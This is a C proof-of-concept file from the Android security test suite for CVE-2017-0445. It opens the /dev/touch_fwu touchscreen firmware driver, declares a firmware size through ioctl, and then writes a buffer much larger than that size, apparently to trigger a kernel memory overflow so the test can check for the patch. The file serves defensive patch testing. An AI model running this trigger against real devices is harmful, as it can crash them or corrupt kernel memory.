hostsidetests/security/securityPatch/CVE-2017-0445/poc.c

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define TOUCH_FWU_IOCTL_CODE (0x81)
#define FW_UPDATE_PROCCESS _IO(TOUCH_FWU_IOCTL_CODE, 1)
#define FW_FILE_SIZE _IOW(TOUCH_FWU_IOCTL_CODE, 2, uint32_t)
#define FW_FILE_REQUEST _IO(TOUCH_FWU_IOCTL_CODE, 3)
#define FW_LOAD_DONE _IO(TOUCH_FWU_IOCTL_CODE, 4)
#define FW_UPDATE_BYPASS _IO(TOUCH_FWU_IOCTL_CODE, 5)

int main(void) {
  int fd, ret = 0, cmd;
  char *buff;

  fd = open("/dev/touch_fwu", O_RDWR);
  if (fd == -1) {
    return -1;
  }

  cmd = FW_FILE_SIZE;
  ret = ioctl(fd, cmd, 0x100);

  cmd = FW_FILE_REQUEST;
  ret = ioctl(fd, cmd, 0);

  buff = malloc(0x1000000);

  ret = write(fd, buff, 0x100000);

  close(fd);

  return 0;
}